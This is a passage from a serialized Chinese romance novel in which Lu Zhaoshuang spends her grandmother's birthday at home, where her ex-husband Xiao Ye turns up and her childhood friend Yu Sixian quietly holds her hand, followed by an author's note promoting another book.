沈霖在这种游戏里菜得令人发指,陆照霜和郁思弦以前经常一起联手做局虐菜玩。 直到去年过年,沈霖谈了恋爱,他女朋友闻静很会心算,有了她加入,这局面才不至于过分一边倒。 他竟然敢不让闻静帮?他可真是倒反天罡。 “那直接来吧,”郁思弦在桌边坐下,一边码着牌,一边意味深长地看着沈霖,一字字道:“就像你说的,我们今晚认真打。” 他们不赌钱,输了就用记号笔给脸上画东西。 第三局打完,郁思弦用记号笔在沈霖嘴边画完了第三道胡须。 然后看起来非常好心、非常善良地问沈霖:“你今晚发挥好像不太好,要不明天再来吧?” 陆照霜不由瞥了郁思弦一眼。 这是激将法吧?这绝对是激将法吧? 沈霖见着钩就咬,“再来!” 几局下来,沈霖的脸已经不忍直视了,全靠他们家遗传的好底子撑着,才没有变得像鬼片。 再下一局,闻静显然是心软了,说是不帮他,但其实一直在暗暗送牌。 只是仍旧难挽颓势。 陆照霜深呼了一口气。 到底是自家弟弟,到底是一个电话救她于水火的弟弟,更重要的是……他好像就是因为那个电话被郁思弦记仇了。 她总不好见死不救。 陆照霜也加入了战局。 从她打出帮沈霖的第一张牌开始,郁思弦锐利的目光就朝她瞥过来。 “阿照。” 他注视着她的眼睛,慢悠悠地叫出她的名字。 和田玉的麻将牌被郁思弦捏在手心里把玩,衬得他的指骨尤为修长冷白,像是捏着一把短而窄的刀锋,叫人平白生出寒意。 他脸上却是笑着的,“确定要站在那一边吗?” 三打一,确实是有点不太公平。 但他也欺负沈霖欺负得太惨了。 陆照霜别开眼,选择装傻,“我中立。” “嗯,”郁思弦笑了声,“好。” 可惜她低估了沈霖拖后腿的水平,又高估了她和闻静力挽狂澜的能力,最后三人齐齐坠机。 在最后半局里,他们三人一起眼睁睁见证着,郁思弦一个人大杀四方。 尘埃落定。 郁思弦看上去十分愉悦地坐在椅子里,抬眼望向她,“还来吗?” 陆照霜深吸了口气,“下次再说吧。” 沈霖和闻静也连连赞同。 于是开始最后一次的惩罚。 郁思弦在沈霖“你今天对我好狠”的凄切眼神中,终于很没眼看地朝他摆了摆手,“算了,你们两走吧。” 沈霖眼睛一亮,立刻拉着闻静跑了。 棋牌室内只剩下陆照霜和郁思弦两个人。 郁思弦隔着一整张桌子看着她,手里还握着那支记号笔。 黑色的笔杆在他指间灵活地转着圈,简直像是死神走到门边时,“咚咚”的敲门声。 陆照霜心一横,干脆把眼睛闭上,“你画吧!” 对面传来一声低低的闷笑。 随即,椅子被推后,在地面发出短促的摩擦声,皮鞋踏在地板上的声音越来越近,跟着,他的体温也靠近了。 透过眼皮,能感觉到淡淡的黑影。 他的手似乎悬停在她脸上,慢条斯理地寻找着下笔的地方。 这里,还是那里? 他今天这个杀疯了的状态,给她脸上画个伤疤也说不定呢! 她眼皮颤得越来越厉害。 那支记号笔也终于落了下来,不是落在其他任何地方,而是在她眉心轻点了几下。 那是绝对出不了什么游戏效果的。 陆照霜茫然地睁开眼,就看到郁思弦已经把笔帽合了起来。 “就这样?” 郁思弦闻言,歪头看过来,“看来阿照希望我画得更狠一点?” 陆照霜赶忙摇头,“没有没有!这么晚了该睡觉了!” 说着,她拎起外套就跑出了门,生怕郁思弦反悔。 却在走廊上怔住。 目之所及,沈霖和闻静正在对面二楼的走廊上。 闻静偏头看着沈霖的脸,忧心忡忡地碰了碰,“会不会很难洗掉啊?” 沈霖闻言一顿,声音里透出股显而易见的愉悦,“心疼我啊,闻同学?” 闻静别开脸不说话了。 沈霖便唉唉叹了口气,“原来你都不心疼我。” 闻静实在看不过去他这戏瘾发作的样子,认命道:“是是是,最心疼你了!” 沈霖立刻就被哄得眉开眼笑,弯下身飞快地在她脸颊上亲了一下。 闻静腾一下就被烧红了,“你……被人看见了怎么办?” “这个点谁会看——” 沈霖一边说着,一边像要证明这一点一样,漫不经心四下打量,然后和棋牌室门口的陆照霜郁思弦八目相对。 闻静和沈霖一瞬间全都红成了煮熟的虾,同手同脚地推搡着绕过一个弯跑了。 陆照霜的心脏,好像忽然被从一个从未想过的方向戳了一下。 一次也没有。 萧烨对她,一次也没有,做过“我好开心,所以我想亲你一下”这种无关情.欲的举动。 他们之间,接吻从来都是上床的前奏。 那样简单而纯粹的初恋,对她来说,还没开始过,就已经结束了。 “阿照……”郁思弦垂眸看着她,敏锐地察觉到,只是这一小会儿功夫,她的情绪已和先前截然不同,“怎么了?” “没什么,”陆照霜攒起一个笑,摇了摇头,“就是困了。” 就只是。 有些东西,在她心里,好像死去得更彻底了一点。 回到卧室,管家李叔已经帮她把行李放进去了。 “阿霜,我们就帮你打扫了一下,没动你的东西,如果还有什么需要的就跟我说。” “知道了,谢谢李叔。” 陆照霜不太喜欢别人动她的东西,所以很多东西都是自己整理的。 “那好,你早点休息。”李叔说完,告辞离开。 郁思弦的房间就在她对面。 他站在那里,手已经搭在了扶手上,却犹豫着还没进屋,“阿照,你真的没事?” “当然没事啦!晚安!”陆照霜朝他笑了笑就把门关上了。 其实真的没什么事的,就是难过了那么短暂的一小会儿。 但是不知道为什么。 她有种感觉,如果被郁思弦用那样的眼神一直看着,她就会变得很难过很难过。 不行,不能继续想了。 她狠狠摇了摇头,然后用发圈绑起头发,打开行李箱开始收拾东西。 整理是一件很能清除情绪,又让人疲惫的事情。 陆照霜收拾完,有些困了,打算拿本书打发一下时间就睡。 只是拉开书柜的时候,她的目光被一个颜色非常鲜亮的、像是糖果礼盒的东西吸引住了。 据她对自己小时候审美的了解,这里面一定是装了她曾经觉得非常重要的东西。 虽然她现在没任何印象了。 陆照霜好奇心上来,把糖盒打开。 里面赫然是一些花花绿绿的带着密码锁的笔记本。 是她小时候的日记啊,她这才想起来。 藏得真严实,不知道她现在还能不能想起密码。 陆照霜索性直接坐在地毯上,拿起其中一本,从她自己、妈妈、爸爸、奶奶、萧烨、郁思弦的生日一个个试过去,竟然都没成功。 她和自己的日记本大眼瞪小眼,有种被小时候的自己完美防住了的感觉。 不是,自己的日记自己看不了?天底下有这个道理? 她苦思冥想,又尝试了n遍,还是未果。 最终,她看着糖果盒上的贴纸,心里浮现出一个不敢置信的猜测。 她颤抖着手指,在手机浏览器输入:《魔卡少女樱》里李小狼的生日是什么时候? 然后颤抖着手指,按下了0713这四个数字。 “咔嚓——” 解锁了。 陆照霜双手捂住了自己的脸。 啊!救命! 小时候的我,你做个人吧! 但是硬顶着抠出一座别墅的尴尬,她打开日记本看了会儿,还是原谅了小时候的自己。 人不能责怪一个八岁小孩的心智! 哪怕是自己也不能! 她小时候真的做过太多蠢事了。 有一次是在年后,李叔带着她、沈霖和郁思弦一起去看庙会。 庙会上有个卖漂亮平安符的老爷爷,逢人就叫卖,“给自己买一个,工作生活顺利!给家人买一个,一生健康顺遂!” 她那时候哪听得懂这种祝福话。 最后把她留住的,是老爷爷笑眯眯说:“买一个吧,小朋友们,把这个送给家里人,一年都会平平安安的,大人们高兴了,给你们的零花钱也就多了!” 尚且八岁的陆照霜,实在是对“平平安安”不感冒,但她和沈霖都听懂了“零花钱”这三个字。 李叔非常为难,很想劝他们不要买,但奈何他们此时刚过完年,兜里都是揣了压岁钱的,李叔哪里管得住他们花自己的压岁钱? 于是陆照霜和沈霖掰着手指头,数着家里大人的数量,一口气买了好多好多,多到老爷爷笑得眼睛都看不见了。 等回到家里,大人们看到她和沈霖献宝一样到处分发的平安符,一个个都乐弯了腰。 虽然但是,并没有涨零花钱。 还被陆笙瑜逮住,狠狠训了他们两一顿。 说他们两真是一点脑子都没有。 训完以后,陆笙瑜又顺嘴夸了郁思弦一句,“你们看看人家思弦!都一个年纪,人家怎么就这么有脑子,不会被人骗!” 陆笙瑜训他们的时候,郁思弦就在一边陪着他们两罚站,脸上的表情很严肃,确实很有脑子的样子。 但陆笙瑜不知道的是。 那天晚上,很有脑子的郁思弦,在她和沈霖两个人正堆积木的时候,一言不发地把两个平安符送给了他们两。 于是八岁的陆照霜,在那天的日记里,最后如此评价—— “哥哥真是笨蛋,思弦才没有很聪明呢!这种东西要送给大人呀,我和小霖才没有红包可以包给他呢!” 郁思弦送她的平安符已经陈旧泛黄,就夹在这一页里。 陆照霜拿纸巾擦了擦自己笑出的眼泪。 哇,人小时候真的是。 她既不敢相信自己有那么笨的时候,也不敢相信郁思弦有那么笨的时候。 不行了,不能再看了。 再看下去,她要笑得睡不着觉了。 她重新把日记本锁好,放回了柜子里,然后起身去洗漱。 对着镜子刷牙的时候,她忽然看到郁思弦画在她眉心的东西。 和他画给沈霖的那些丑兮兮的胡须和圆圈不一样。 他只是在她眉心点了五下。 像一枚漂亮的梅花花钿。 * 因为前一夜翻来覆去想了很多东西,所以陆照霜睡着得有些晚了,干脆也没设闹钟。 左右奶奶的生日还在后一天,又是在自个家里,犯不着为难自己早起。 可她还在昏昏沉沉的时候,忽然听到咚咚的急促敲门声。 陆照霜迷迷糊糊地爬起来开门。 门口站的,却是闻静。 “静静?”陆照霜脑子清醒了一点,却又好像更糊涂了。 闻静小心地观察着她的神色,“照霜姐,萧烨来了。” 【作者有话说】 目前阿照和郁思弦之间的回忆,基本都是以阿照的角度展开的,之后会在某个特定的节点,展现从郁思弦的角度出发,他们之间的过去究竟是什么样的。[三花猫头] ps,闻静和沈霖是隔壁完结文《第十年的暗恋回信》的男女主。 在这里推推下一本可能会写的预收《蝴蝶叫她别出声》[三花猫头] 有点小心机的女主为了在寄养家庭生存,主动尝试和男主打好关系,没想到把男鬼招惹到身上了。 文案如下: 17岁那年,明皎为了从家暴的姑父家逃走,主动找上曾有旧缘的祁家。 在那里,第一次见到祁岁聿。 少年是祁家独子,矜贵清俊,每每看到她的有意讨好,都只是一笑置之,难掩漠然。 明皎只能咬牙微笑,假装不察,处心积虑小心靠近,只为留在最后的容身之地。 后来,她成功了,但和她预想的不太一样…… 高朋满座的宴会厅后,无人知晓,祁岁聿把她堵在储物间,步步后退、却逃无可逃。 少年犬齿咬在她侧颈皮肤,语调宛如情人呢喃,却叫她浑身发颤。 “姐姐刚才和三个男人说过话,所以我也只做三次,很公平,姐姐为什么要哭?” “这不就是姐姐想要的吗?所以别躲,姐姐。” 明皎只是想找个依靠,没想招惹一只披着人皮的疯鬼。 再次用尽心机,只为从他身边逃跑。 * 多年后再见,明皎作为主持人,采访此时已是科技新贵的祁岁聿。 男人褪去少年青涩,待人接物彬彬有礼、游刃有余。 哪怕看到她无名指的戒指,也只是淡然垂眸:“看来明小姐好事将近。” 明皎心中大石落地,衷心感谢,新时代把鬼变成了人! 然而回到后台,休息室空无一人,诡异至极,只有熟悉的男人从旋转椅上转过来。 他慢条斯理勾起她胸前丝带,笑意温柔,却不达眼底。 “是姐姐先引诱的我,怎么敢到手后就抛下我,带着别的男人回来?” * 祁岁聿的生活宛如一滩死水,直到明皎出现。 起初,他看她表面乖巧却暗含算计,只觉不自量力。 后来,他恨她不止对他一人费尽心机。 40-50 第41章 ◎郁思弦和她十指相扣◎ 陆照霜头一次觉得,自己竟然有点听不懂中文了。 萧烨来了?他来干嘛? 闻静继续道:“今天早上我和沈霖出去散步的时候正好撞见他来了,沈霖立刻就把他拦住了,所以其他人都还没发现,我刚才通知了思弦哥,他也过去拦了。” 看她懵住了,闻静干脆提议:“照霜姐,你觉得为难的话就躲一躲。他们两个人呢,会把萧烨劝走的。” 陆照霜头疼地扶住额头。 思弦还好说,沈霖去劝萧烨?他们俩不打起来就算沈霖收敛了。 虽然不知道萧烨为什么要来,但只可能是和她有关系,她还做不到自己躲起来,让别人给自己收拾烂摊子。 “不用了,我自己去见他。” 陆照霜换了身衣服出门。 十分钟后,她就在宅子外不远处,看到了在一辆车跟前,快打起来的沈霖和萧烨,郁思弦挡在他们两中间,一边拦一边劝。 她眼前一黑,脚步加快。 “沈霖,我已经对你够客气的了,你是不是听不懂人话?我来这里不是来找你的,让阿霜来跟我谈!” “哈?听不懂人话的是谁啊?说了多少遍了我家里不欢迎你!以前你们两还没离的时候,你过年不回、我奶奶生日也不回,知道我姐因为你听了多少闲话,被别人指指点点过多少次了吗!现在离婚了你来了?萧烨,你倒是真会挑时间来恶心人啊!” 距离他们还差十几米,沈霖激动的声音就已经飘进了她耳朵里。 陆照霜感觉头都要炸了。 她当然知道沈霖是为她气不过,可她也真的不想再让萧烨听见她从前那些丑态了。 “都别吵了!”她大声喝止。 那边三个人都是一顿,然后齐齐转过身来。 “阿霜。”萧烨一见她,便预备提步走来。 沈霖脸色一变,抢先他一步,快步过来,抓住她的胳膊就要把她往家里推。 “你就回去待着吧,放心,”沈霖咬牙切齿地说:“今天能让他进门算我输。” 陆照霜按住他的手,冲他摇了摇头,“好了,小霖,我知道你是为我着想,但这是我跟他的事情,我会自己解决,好吗?” 沈霖被她稍稍安抚了下来,没那么焦躁了,但仍旧皱着眉头,很不赞同、很怀疑地看着她:“你不会还对他旧情未了吧?我跟你说陆照霜,你要是还敢吃他这个回头草,我真的会看不起你。” 陆照霜顿时被噎住。 她怎么也没想到,感情沈霖拦着不让她见萧烨,是怕她旧情复燃。 她一时没好气地推开他的手,“放心,我还没有蠢到这个程度,你回去吧,我跟他聊。” 说着,她给郁思弦使了个眼色,示意他赶紧把沈霖带走。 郁思弦的目光在他们身上稍顿几秒,这才走了过来,“阿照,真的没事?” “嗯,”她点了点头,看着郁思弦的眼睛,轻声道:“那天在江边,你自己说的,你听得出来的,不是吗?” 郁思弦因她这句话,眼中闪过几分异色,随即笑了一下,“好,你自己处理。” 沈霖一头雾水,搞不懂他们两在说什么东西,就被原本站在他这边的郁思弦带走了。 陆照霜目送他们的背影远去,然后才回过头来。 清晨的路边,只剩下了她和萧烨两个人。 萧烨脸上没有了刚才和沈霖争吵时的冷漠和暴躁,反而像是极力压抑着什么一样,下颌线绷得很紧。 她深吸了一口气,拢了拢身上披着的薄衫,这才走到萧烨身前,“你来干什么?” 萧烨垂眸,目光从她身上细细扫过,她身体挺得笔直,透着一种生硬的对抗感,但是脸色苍白,还是暴露出她没休息好的事实。 想来离婚这件事对她的冲击确实很大。 他一时觉得心头更软,语气也软和下来,“你奶奶生日,我来给她贺寿。” 陆照霜感觉匪夷所思,“萧烨,我们已经离婚了,你跟我没关系了,这是我奶奶,用不着你来帮她贺寿。” “左右都要有一份署着我名字的贺礼,那我为什么不能亲自来送?” 陆照霜恍然大悟,原来他是因为这个。 “如果你觉得这让你伤自尊的话,那真的大不可必。我只是需要暂时瞒着离婚的事情,才出此下策的,这是我自己的问题,我会自己解决。同理,如果你爸妈那边有什么问题,我也不会配合你的。” 陆照霜觉得说到这里,事情已经说清了,便准备转身回家了,“就这样吧,你回去吧。” 谁料,下一秒,他一步上前攥住她手腕。 陆照霜一惊,挣了一下,没挣开,声音便沉了下去,“萧烨,你这是干嘛?” 萧烨看着她,神情似乎有些难过,“阿霜,你真的没关系吗?” 陆照霜简直莫名其妙,“什么没关系?” “沈霖刚才说的那些……”萧烨说得有几分艰难,“你怎么从来没有告诉过我?” 沈霖说的哪些?被人说闲话那些? 陆照霜终于不复之前还能维持的平静,简直要笑出声来了,“我告诉你会有什么区别吗?你是会随便哄我两句,还是会笑我自作自受?” “阿霜,你别这么——” “当然,最重要的是,”陆照霜不耐烦地打断了他,直直地看着他的眼睛,“别自欺欺人了,萧烨。” “换别人还可能想不到,但你是什么人啊?人情往来这种事情你比我们谁都熟练,你怎么可能想不到我会遭受什么,你只是不愿意去想罢了。” 萧烨所有的解释就都这么被堵在了喉口。 反驳不了。 “阿霜,”他嗓音干涩起来,“已经发生的事情我没法改变,但你至少给我一个补偿的机会。” 陆照霜茫然地看着他。 上一次面对面地见,还是在民政局,萧烨警告她离了就别后悔,那个阴沉冷厉的模样,她还历历在目。 那他现在这副收敛起所有尖刺,像是想跟她和好的样子又是怎样? 也就不到一个月的时间,陆照霜搞不懂,他身上究竟发生了什么,但她也不想知道了。 她把萧烨攥住她的手指一根根掰开,然后向后退了一步,摇着头对他道:“萧烨,我不知道你究竟为什么这么喜欢反复无常,但我真的不想奉陪。当初结婚也是我点的头,所有的后果我自己担着,你的补偿我用不着,我们也不是离婚了还能做朋友的那种关系,你别再来找我了,我真的厌倦了。” 萧烨的手指就那么僵在半空,属于她的温度,风一吹就很快散了。 他当然知道,他可以继续去抓住她的手,强迫她待在他眼前,可没用,她眼睛里那种厌倦是真实的。 哪怕是恨,也关联着情感沟通的渠道。 但厌倦不是。 厌倦是,她把她的感情彻底对他关上了。 萧烨敏锐地察觉到,他此刻不能再继续逼她了。 他垂下眸,指尖蜷在掌心,微动了一下。 等他再抬眼时,话头陡然一转,“那奶奶呢?奶奶年纪大了,你想让她八十大寿的时候,还要看到孙女被别人说闲话吗?反正我们也没公开离婚,何必非要让奶奶再难受一次?” 陆照霜愣了下。 还没等她做出反应,熟悉的声音突然从身后传来。 “阿霜,这不是萧烨吗?他来了你怎么不跟大家说一声!” 陆照霜僵硬地转过身,就见到一对中年夫妇正相携走来,表情又惊又喜。 “二舅、舅妈,你们起这么早啊。”她硬着头皮打招呼,疯狂头脑风暴该怎么办。 谁料,刚才在她面前,还显得有些难过和软弱的萧烨,忽然从她身边穿过,客气而得体地同她二舅握手,“二舅、二舅妈。” 萧烨脸上挂着生意场上再常见不过的彬彬有礼的微笑,“抱歉,之前有一项紧急工作不确定能不能及时收尾,就没敢提前通知大家,但还好赶上了,自然不能错过奶奶的寿辰,希望大家不要见怪。” 陆照霜瞬间睁大了眼,“不是……” 但来不及了,萧烨那张极具欺骗性的脸很快就俘虏了二舅夫妇的心。 两人连声说着,“人到了就好”、“心意最重要”、“怎么不赶紧进去坐坐”之类的话。 没几句,萧烨就被舅舅舅妈拉着往家里走了。 陆照霜目瞪口呆。 二舅妈和萧烨聊得眉开眼笑,转头朝她招手,“阿霜,愣在那干嘛?还不快过来?” 陆照霜在原地深深呼吸了好几口,才快步上去,走到萧烨身边,用只有他们两个人能听到的声音警告他:“这是你自找的,我不会领你的情。” 萧烨唇角微微勾起,“当然,阿霜,你只用……看着我就好。” 四人进了家门,萧烨这个两年来一直处于家族话题中心的稀客,自然迎来了极为热烈的关注。 关心陆照霜的亲戚在惊喜,讨厌她的亲戚在发愁。 唯沈霖睁大了眼,一把把她拽进了一边,咬着牙低声问:“陆照霜,这就是你说的自己解决?!!” 陆照霜也觉得头疼,“出了点意外……总之你就当他是个来给奶奶生日打白工的苦力好了。” 沈霖还想再说点什么,但客厅那头已经传来唤她的声音。 “阿霜。” 萧烨坐在奶奶身边,微笑着叫她:“二舅妈问我们婚房什么价位买的,我没印象了,你还记得吗?” 所有人的目光都随着他这句话落到了她身上。 陆照霜只能匆匆告别沈霖,避无可避地坐到了萧烨的身边,尽可能勾唇笑道:“我好像也不记得了。” “那看来二舅妈想知道的话,我们得回去找找合同了,是不是?”萧烨偏过头,看起来很随意地问她。 他的身体因为这个简单的动作,靠得更近了*,透过薄薄一层衣料,他的肩膀挨住了她的肩膀。 “可能吧。”陆照霜不自在地别着发丝,往旁边挪了一下。 但很快,他的身体又不经意靠了过来。 沙发就这么长,人又这么多,她感觉自己像一条装在渔网里的沙丁鱼,挤到有些无法呼吸了。 他们被夫妻的名义捆绑在一起,陆照霜根本找不到脱身的借口。 直至另一个清而冷的声音,像突如其来的一阵雨,打破了这种闷热。 “阿照。” 郁思弦斜靠在厨房门口,向她举起一只沾着面粉的手,淡淡道:“寿桃,轮到我们做了。” 陆家的一个传统,小辈们会亲手给奶奶做寿桃,也不计较数量或者好吃与否,只看心意,在他们这样的家里,这比华而不实的寿礼重要多了。 陆照霜立刻起身,“来了。” 其他人劝她留下说说话,她就笑道:“可不能在我这里坏了规矩。” 一时便无人再拦。 她径自走进厨房,里面只有郁思弦正在独自忙碌。 这些活做的次数多了,家政和厨师也不再盯着教,都是随他们去的。 只他们两个人的环境里,陆照霜终于觉得自己从渔网里钻出来了,浑身一轻。 她擦了把汗,在水龙头下清洗手,“多谢了思弦,又靠你解围。” “是嘛?我以为你聊得很开心,恐怕还觉得我打断了你们叙旧。” 陆照霜顿了下,关掉水龙头,转头看去。 郁思弦表情和平时差不多,正不咸不淡地捏着面团。 但陆照霜就是觉得,他好像有点不高兴。 她下意识就说:“我没想让他来的,但正好被二舅他们看见了,没办法,只能让他进来,但就算是他来了,我也只是跟他演场戏而已,再没别的了。” 郁思弦手上的动作停住,也转过身,注视着她的眼睛,“阿照,怎么处理萧烨的事情是你的自由,为什么要跟我解释?” 陆照霜一愣。 她为什么要跟他解释? 郁思弦长睫下的眸光黑沉,如同一片沼泽,看得她有些喘不过气来。 她匆忙垂下眼,走过去分走他一半的面团,避而不答,“我们还是快点做寿桃吧。” 心脏还在怦怦乱跳,怕他不肯放过她,还要再逼问下去。 可他没有。 他只是安静地,在她旁边做起了寿桃。 他这次就这么轻易放过她了? 陆照霜偷偷往旁边瞥了一眼,又赶快收回去。 时间长了,再惴惴不安的心,也逐渐镇定下来。 直到台面下,她的小指忽然被另一只手碰了一下。 陆照霜没在意,往自己这边收了收。 但几秒后,又碰到了。 一次、一次、又一次。 她指尖微微蜷缩,下意识偏头去看。 郁思弦正平静地用右手揉着面团,神情再正常不过。 是她的错觉吗? 可他的小指却再一次碰到了她的小指。 然后,没有再挪开。 “小萧,你在加州碰到过抢劫吗?” “还好,我住的那一片区域有私人安保和消防,安全是有保障的。” 客厅里其他人还在和她“名义上”的丈夫聊着天。 她的朋友却在料理台下触碰到了她的皮肤。 然后,他如同敲着钢琴的黑白琴键,小指、无名指、中指、食指,很轻地越过他们应有的界限。 动作却又如此之慢,给足了她抽回手的时间。 啊,她应该要收回手的才对。 可也许是被萧烨的步步紧逼搞得她急需一个出口,又或许,她只是单纯想知道,郁思弦会做到什么地步? 她没动。 于是,郁思弦的五指终于钻进她的指缝。 十指相扣。 那种密不可分的触感,终于让她感到危险和骇然。 她慌忙想抽开,郁思弦的力道却已和方才那种轻缓迥然不同,大到她根本无处可逃。 客厅里人们明明还在聊着天,却变成了嗡嗡的白噪音,她一个字也听不清了。 她此刻,只看得到他们扣紧的手。 42/ 第42章 ◎夹在萧烨和郁思弦中间◎ 一秒、两秒、三秒…… 时间很快就开始变得不可计数了。 潮湿的汗水仿佛把每一根手指都浸透了,泡得软绵绵的,所以……让人没有再去挣脱的力道。 “阿霜。” 萧烨趴在窗口,疑惑地朝厨房里面望进来,“你怎么这么慢?” 像是一根刺,把鼓胀的气球啪一下戳破,在脑子里炸起微弱的起爆声,陆照霜陡然回过神来。 所有失去的力气被血流重新运回指尖,她一下子就想抽开手。 但那股攥着她的力道也变得更强硬了,她挣脱不出,惊慌地转过头。 郁思弦也恰在此时垂眸。 屋外像是要下雨了,黑沉的云把天色捂得暗极了,他的眼睛也像是酝酿着一场巨大的风暴。 他好像,没有放开她的打算。 “阿霜?思弦?” 萧烨见里面的两个人都不应声,感觉气氛十分古怪,干脆折身准备进到厨房里来。 料理台不高,只要他进门,就一定会看出他们在做什么。 陆照霜瞳孔放大,心脏随着外面越来越近的脚步声,简直要跳出胸腔。 然而在萧烨的脚尖迈进厨房的那一刹那,郁思弦忽地一笑,那股桎梏着她的力道转瞬消失了,陆照霜猛地抽出了手。 萧烨进来的第一眼,看到的就是她举在半空中的手,“阿霜,怎么了?” “我渴!”陆照霜立刻端起料理台上的水杯,一口气全喝下去。 空杯子被她重重搁在桌面,她抬脚绕过料理台就往外走,“我好像记不清该怎么做了,还是请阿姨再来教教我吧。” 萧烨便没有再进来,而是站在门口等她。 他目光下意识在郁思弦和她之间扫了一个来回,最后停在了她脸上,狐疑地问:“你脸怎么这么红?” 陆照霜用手给自己扇着风,别开视线,“因为我站在烤箱跟前,太热了吧。” 走出厨房的那一刻,她听到身后传来郁思弦低低的一声嗤笑。 她没敢回头去看。 下午,陆照霜没再敢往任何人多的地方凑。 无论是萧烨还是郁思弦,她这会儿都没勇气去面对了。 她独自窝在卧室里看《乐队人》前两季的视频资料。 该怨她以前太勤快吗? 没一会儿她就看完了,加上之前做的笔记,她把思路整理归结成文档,发给了林珩。 林珩回了句“OK”就准备挂断电话。 “等等!”陆照霜急忙叫住他,绞尽脑汁,“你……你不想聊聊你的想法吗?” 林珩简直莫名其妙,“我还没看完有什么好聊的?你不是在给你奶奶过寿吗,这会儿就别惦记这个了,忙去吧,挂了哈。” 陆照霜握着只剩下“嘟嘟”忙音的手机,用力扣在自己额头上。 所以这会儿她该找点什么事转移自己的注意力啊! * 申城的练习室内。 林珩挂完电话,重新打开录像,抬头冲坐在窗边的徐勿凡道:“好了,你继续唱吧。” 他正在完成高若涵布置的短视频任务,给徐勿凡录一些休闲日常的唱歌视频。 虽然不太懂为什么,但总之按高若涵说的做就行了。 “已经录得挺多了吧?就这样吧。”徐勿凡兴致缺缺地抓了抓头发,拎起一边的包就准备走人。 “徐勿凡!”林珩一把攥住她的手腕,“你最近怎么回事,怎么这么没干劲?” 徐勿凡嗤笑了一声,“我不一直这样吗?” 林珩仔细打量着她的神色,“你是不是又想起以前的那些事了?但这次和你以前试过的那些节目不一样,我们都通过初筛了,而且有思弦在,你不用担心再碰到那些事。” 徐勿凡在听他说起以前的时候,眼神就渐渐冷了下去,“所以呢,非要我跟你一样天真才叫有干劲吗?” 林珩愣了一下,手就被徐勿凡干脆地甩开。 她垂眸揉着自己的手腕,冷淡道:“该配合的事情我会配合,除此以外,别对我有什么别的期待了林珩。” 说完,她毫不留情地转身就走。 然而就在她已经按住了门把手的时候,林珩的声音在她身后不甘心地响起。 “徐勿凡,你要真像你说的那样,那散伙的时候你为什么不走?” 徐勿凡的背影僵了一下。 林珩执拗地注视着她的背影,“只要听过你唱歌的人都知道你没放弃,为什么非要装出一副心灰意冷的样子?” 徐勿凡胸口剧烈地起伏了一下,才转过身,冷冷地注视着他。 “知道吗林珩?就因为你总是这样,我才最讨厌你,要不是你那天非要拉着我跟你建什么破乐队,这种不切实际的妄想,我早就不继续想了。” 他们认识这么多年,但凡她故意对林珩说几句带刺的话,林珩总会露出黯然的表情。 但这次没有。 大概是因为夕阳垂落在了他的瞳孔里,所以他此刻的眼睛看起来才会那么亮。 “最讨厌我?”林珩重复了一遍她的措辞,竟然笑了出来,轻飘飘地问:“真的?” 徐勿凡不知道他在高兴些什么,匪夷所思,“你真是疯得不轻。” “疯就疯吧,我无所谓,”林珩定定地直视着她的眼睛,“徐勿凡,你可以不喜欢我,可以看不起我,但别反悔,在你所有讨厌的人里,你一定要最讨厌我……” “这就行了。” 他声音忽然变得很轻,那头尖锐的寸头和张牙舞爪的耳钉,好像一瞬间都变成了驯服的猫毛,柔软地垂落下来。 徐勿凡背部抵着防盗门,像觉得夕阳刺目似的闭了闭眼,深吸了一口气。 然后,下一刻。 她的包砰一声掉在地上,她一步上前,拽住林珩的领口,把他拽得毫无防备地低下头来,然后仰头吻在了他的唇上。 林珩看上去完全反应不过来,既没有反抗,也没有迎合,嘴唇紧紧闭着,眼睛睁得很大。 “就当我跟你一样疯了吧。”徐勿凡微微退开一点,好与他对视,眼里涌动着破釜沉舟一样的疯狂。 林珩却好像把她的退开理解为了逃离,如同一只苏醒的野兽,手掌机敏地按住了她的后颈,在咬上来之前,眼里闪烁着跟她一样的火光。 “要疯就疯到底啊徐勿凡。” * 到了晚餐的时候,陆照霜实在躲不过去,只能下楼。 落座时,她的位置毫无意外,就在萧烨旁边。 “下午去做什么了?”萧烨一边给她递餐具,一边状似不经意问。 陆照霜含糊地回答:“工作上有些事情要忙。” 萧烨低笑了一声,似是在笑她的逃避。 这本已够尴尬的了,但下一刻,她右侧的椅子被拉开,一股绿叶调的气息笼罩过来。 陆照霜不用看,也知道那是郁思弦。 “思弦,下午怎么也没见你?”萧烨越过她问。 “在帮李叔安排明天的位置。”郁思弦淡声回答。 “原来是这样,”萧烨笑道:“还以为你和阿霜又撇下我单独去玩了。” 说者无意,听者有心。 早晨厨房里那一幕无法自抑地袭上心头,陆照霜手一抖,一口水跟着被呛到了喉咙里,猛地咳嗽了几声。 “小心,喝慢点,”郁思弦将餐巾纸递过来,在她对他说谢谢的时候,朝她微微一笑,“我们又不是真的瞒着萧烨做了什么。” “咳咳——”陆照霜飞快给了他一个警告的眼神,咳嗽得更厉害了。 看她咳得太凶,萧烨伸手抚了抚她的脊背,担心地问:“怎么喝口水也能呛到的?” 从他的手落下的那一刻,陆照霜就感觉到,右侧传来一股几乎能把她烧着的灼人视线。 她咳嗽稍缓,就连忙推开萧烨的手,“可以了,没事了。” 萧烨只能把手收了回去。 陆照霜无比期盼这顿饭能尽快吃完,未料,二舅妈坐在对面,看见他们三人间的互动,颇有些怀念地说:“你们还是跟小时候一样好啊。” 萧烨虽不像郁思弦那样把伊冬当家回,但自从八岁那年,得知自己的两个小伙伴一起去过了年,只有自己被排除在外,便也闹着非要来,故而小时候他来伊冬的次数也不少。 反而是真成他们家女婿后,一步也不曾踏入了。 另一位姨婆也感慨道:“可不是?还记得有一次这三个孩子非要爬山去看日出,回来了以后阿霜和思弦累得一沾枕头就睡,小萧去上了个厕所,回来看见了,非不肯回自己房间,一定要跟他们两睡在一起,三个人就跟个连体婴似的。” 萧烨听得有趣,“还有这种事?” 二舅妈唏嘘:“那时候你们才几岁啊,不记得也正常。关键是从小到大都能这么好,真是太难得了。” 陆照霜死死捏紧筷子,恨不能将头垂进盘子里。 说这些话的亲戚平素对她也十分友善,只是纯粹在怀旧,并无任何恶意。 前些年长辈们也常讲这些童年趣事,她听见时只会感慨,哇,他们还做过这种事情啊。 可现在夹在萧烨和郁思弦中间,一个是已经离婚的前夫,一个是和她今早牵过手的朋友,这话怎么听怎么难捱。 他们三个人之间……早都不好了。 郁思弦的目光在她侧脸和发白的指节上轻轻扫过,便很快收回,端着茶杯淡声道:“要说从小到大都没变的话,还是沈霖更像点吧。” 正安静吃着饭,突然被卷入的沈霖茫然抬头:“啊?” 